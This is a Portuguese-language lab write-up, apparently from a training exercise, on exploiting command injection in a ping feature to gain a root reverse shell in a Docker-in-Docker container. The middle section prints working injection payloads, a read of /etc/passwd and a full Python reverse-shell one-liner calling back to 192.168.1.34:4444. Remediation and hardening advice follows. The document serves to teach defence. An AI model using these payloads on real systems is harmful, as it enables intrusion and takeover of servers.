DIND (docker-in-docker) exploitation

Introdução

Nesta subpesquisa, analisamos o serviço “DevSecOps Offensive Security”, que oferece uma funcionalidade de teste de conectividade (Ping). A falta de sanitização na entrada de dados permitiu a manipulação do fluxo de execução do sistema operacional subjacente.

O objetivo foi transformar uma funcionalidade administrativa em um vetor de entrada para obter acesso total ao container, identificando posteriormente que se trata de um ambiente Docker-in-Docker (DIND), o que eleva a severidade do comprometimento.

Objetivos

1. Validar a validação de input do formulário de teste de rede.
2. Escalar de uma execução de comando simples para uma shell interativa.
3. Estabelecer persistência ou acesso reverso (Reverse Shell).
4. Identificar características do ambiente comprometido (DIND).

Metodologia de Ataque (Red Team)

A exploração seguiu o fluxo de identificação de Command Injection.

1. Reconhecimento e Teste de Injeção

Inicialmente, o sistema foi testado com uma entrada esperada (10.0.0.60), retornando o resultado padrão do comando ping.

Em seguida, testamos a concatenação de comandos utilizando o delimitador ; (ponto e vírgula), comum em sistemas Linux para execução sequencial.

Payload de Teste:

127.0.0.1; ls -la

Resultado: O sistema executou o ping e, em seguida, listou os arquivos do diretório atual (main.go, go.mod, docker-entrypoint.sh), confirmando a vulnerabilidade de Remote Code Execution (RCE).

2. Enumeração de Ambiente

Para entender o nível de privilégio e os usuários do sistema, injetamos o comando de leitura de arquivos:

127.0.0.1; cat /etc/passwd

A saída expôs a lista de usuários, incluindo root, daemon e app.

3. Exploração (Reverse Shell)

O objetivo final era obter uma shell interativa.

• Tentativa 1 (Netcat): Tentamos usar nc, mas a ferramenta não estava instalada no container.
• Tentativa 2 (Python): Verificamos a existência do interpretador Python com 127.0.0.1; which python3, confirmando sua localização em /usr/bin/python3.

Execução do Exploit: Configuramos um listener na máquina atacante (nc -lvnp 4444) e injetamos um script Python one-liner para abrir um socket reverso:

127.0.0.1; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.34",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

4. Resultado: Acesso Root Obtido

A conexão foi estabelecida com sucesso. Ao executar o comando whoami, confirmamos o acesso como usuário root.

A análise posterior do ambiente revelou a presença de /custom/containerd/containerd.sock, confirmando que este container possui acesso ao daemon do Docker (Docker-in-Docker), abrindo portas para ataques de Container Breakout.

🛡 Análise de Impacto e Mitigação (Blue Team)

A vulnerabilidade é classificada como Crítica. O código da aplicação provavelmente utiliza uma chamada de sistema insegura, como exec(f"ping {ip}"), passando a string bruta do usuário direto para o kernel.

Como Corrigir (Remediação no Código)

1. Evite Shell Execution: Nunca utilize funções como os.system(), exec(), ou shell_exec() com input de usuário.
2. Use Bibliotecas Seguras: Utilize bibliotecas que separam o comando dos argumentos.
   • Inseguro (Python): os.system("ping " + user_input)
   • Seguro (Python):

import subprocess
# O parâmetro shell=False impede a injeção de operadores como ";" ou "&&"
subprocess.run(["ping", "-c", "4", user_input], shell=False)

3. Sanitização Rigorosa: Se o input deve ser um IP, valide se ele corresponde estritamente ao formato de um endereço IP (Regex) antes de processar.

Como Prevenir (Hardening do Container)

Mesmo que a aplicação falhe, a infraestrutura deve conter o dano:

• Imagens Distroless: O ataque dependeu da existência de python3 e /bin/sh no container. O uso de imagens “Distroless” ou mínimas (scratch) removeria essas ferramentas, quebrando a Kill Chain do atacante.
• Execute como Non-Root: O atacante ganhou acesso imediato como root. Configure o Dockerfile ou o SecurityContext do Kubernetes para rodar a aplicação como um usuário sem privilégios (runAsUser: 1000).
• Read-Only Root Filesystem: Forçar o sistema de arquivos como somente leitura impede que o atacante baixe ou crie scripts maliciosos no disco.
• Network Policies: Implemente políticas de rede para bloquear conexões de saída não autorizadas, dificultando o estabelecimento de reverse shells.

📊 Conclusão

Esta subpesquisa demonstrou como uma vulnerabilidade aparentemente simples de Command Injection pode escalar rapidamente para um comprometimento total do container com privilégios root. A presença do ambiente Docker-in-Docker amplifica significativamente o risco, permitindo potenciais ataques de container breakout.

A combinação de validação rigorosa de entrada, princípio do menor privilégio e hardening de container é essencial para mitigar essa classe de vulnerabilidades em ambientes Kubernetes.